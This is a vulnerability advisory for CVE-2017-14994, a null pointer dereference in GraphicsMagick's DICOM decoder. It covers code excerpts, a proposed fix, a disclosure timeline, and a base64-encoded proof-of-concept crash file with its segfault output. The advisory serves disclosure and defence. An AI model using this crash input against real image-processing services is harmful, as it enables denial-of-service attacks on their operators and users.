A null pointer dereference vulnerability in the GraphicsMagick DICOM image decoder allows an attacker to cause a denial-of-service condition or other unspecified impact.

Affected Versions

The current release (1.3.26) is affected. Further analysis is required to determine which versions are also affected by the vulnerability.

Vulnerability Scores

Description

The null pointer dereference happens in the function ReadDCMImage of the file coders/dcm.c. The Image * image pointer contains the value 0. Since the dereference image->previous attempts to access the memory address 0x1a40 (0x1a40 being the offset of the previous field), the program segfaults.

4603 static Image *ReadDCMImage(const ImageInfo *image_info,ExceptionInfo
     *exception)
4604 {
...
4853   if (status == MagickPass)
4854     {
4855       while (image->previous != (Image *) NULL)
4856         image=image->previous;
4857       CloseBlob(image);
4858       return(image);
4859     }
...
4865 }

The image pointer is set to null in this call to DCM_ReadNonNativeImages.

4603 static Image *ReadDCMImage(const ImageInfo *image_info,ExceptionInfo
     *exception)
4604 {
...
4686     else if ((dcm.transfer_syntax != DCM_TS_IMPL_LITTLE) &&
4687              (dcm.transfer_syntax != DCM_TS_EXPL_LITTLE) &&
4688              (dcm.transfer_syntax != DCM_TS_EXPL_BIG) &&
4689              (dcm.transfer_syntax != DCM_TS_RLE))
4690       {
4691         status=DCM_ReadNonNativeImages(&image,image_info,&dcm,exception);
4692         dcm.number_scenes=0;
4693       }
...
4865 }

This is due to an edge case in the function DCM_ReadNonNativeImages from the file coders/dcm.c. If the dcm->number_scenes field is 0, the entire for loop is skipped and the image pointer is set to NULL.

4414 static MagickPassFail DCM_ReadNonNativeImages(Image **image,
     const ImageInfo *image_info,DicomStream *dcm,ExceptionInfo *exception)
4415 {
...
4439   image_list=(Image *)NULL;
...
4448   for (scene=0; scene < dcm->number_scenes; scene++)
4449     {
...
4566     }
4567   DestroyImage(*image);
4568   *image=image_list;
4569   return status;
4570 }

Mitigation

A simple fix could be to place a check that image is non-null before dereferencing image in the ReadDCMImage function.

4603 static Image *ReadDCMImage(const ImageInfo *image_info,ExceptionInfo
     *exception)
4604 {
...
4853   if (status == MagickPass)
4854     {
4855       while (image != (Image *) NULL && image->previous != (Image *) NULL)
4856         image=image->previous;
4857       CloseBlob(image);
4858       return(image);
4859     }
...
4865 }

Proof of Concept

The file crash.dcm is attached in this report. It is also included here as a base64 encoded file.

MDAwMFVTAgAwMDAwMDBVUwIAMDAwMDAwVVMCADAwMDAwMFVTAgAwMDAwMDBVUwIAMDAwMDAwVVMC
ADAwMDAwMENTAgAwMCgACAAbAAAAMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMMoAAAAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAIAAAAwMDAwMDBVSRoAMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwVUk4ADAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwAgAQAFVJFgAxLjIuODQwLjEwMDA4LjEuMi40LjAwMDAw
MFVJHAAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMFVTAgAwMDAwMDBDUwwAMDAwMDAw
MDAwMDAwMDAwMFVTAgAwMCgAEABVUwIAMDAoABEAVVMCADAwMDAwMFVTAgAwMDAwMDBVUwIAMDAw
MDAwVVMCADAwMDAwMFVTAgAwMDAwMDBDUwIAMDAwMDAwQ1MMADAwMDAwMDAwMDAwMOB/EAAwMDAw
/v8A4A==

Running the command gm identify on the crash file yields an abort from an exeception generated by a segmentation fault.

$ gm identify crash.dcm
gm identify: abort due to signal 11 (SIGSEGV) "Segmentation Fault"...
Aborted (core dumped)

The backtrace from the crash:

#0  ReadDCMImage (image_info=<optimized out>, exception=<optimized out>) at
                  coders/dcm.c:4855
#1  0x000000000043c47c in ReadImage (image_info=image_info@entry=0x8c8f40,
                  exception=exception@entry=0x7fffffffdc20)
                  at magick/constitute.c:1607
#2  0x000000000043d23e in PingImage (image_info=image_info@entry=0x8c4dd0,
                  exception=exception@entry=0x7fffffffdc20) at
                  magick/constitute.c:1370
#3  0x000000000040d329 in IdentifyImageCommand (image_info=0x8c4dd0, argc=0x2,
                  argv=0x8c6f20, metadata=0x7fffffffdc18,
                  exception=0x7fffffffdc20) at magick/command.c:8379
#4  0x000000000040ec6c in MagickCommand (image_info=image_info@entry=0x8c4dd0,
                  argc=argc@entry=0x2, argv=argv@entry=0x7fffffffe5a0,
                  metadata=metadata@entry=0x7fffffffdc18,
                  exception=exception@entry=0x7fffffffdc20) at
                  magick/command.c:8869
#5  0x000000000040fd15 in GMCommandSingle (argc=0x2, argc@entry=0x3,
                  argv=0x7fffffffe5a0, argv@entry=0x7fffffffe598) at
                  magick/command.c:17396
#6  0x000000000043185c in GMCommand (argc=0x3, argv=0x7fffffffe598) at
                  magick/command.c:17449
#7  0x00007ffff656b830 in __libc_start_main (main=0x409650 <main>, argc=0x3,
                  argv=0x7fffffffe598, init=<optimized out>,
                  fini=<optimized out>, rtld_fini=<optimized out>,
                  stack_end=0x7fffffffe588) at ../csu/libc-start.c:291
#8  0x0000000000409689 in _start ()

Credit

This issue was discovered by Terry Chia (@ayrx) and Jeremy Heng (@nn_amon).

Timeline

  • 30 Sept 2017 - Discovery of the vulnerability.
  • 1 Oct 2017 - Disclosure of vulnerability to the vendor.
  • 1 Oct 2017 - Vulnerability fixed in mercurial commit.
  • 2 Oct 2017 - CVE number requested.
  • 3 Oct 2017 - CVE-2017-14994 assigned.
  • 3 Oct 2017 - Advisory sent to oss-security mailing list.

Leave a Comment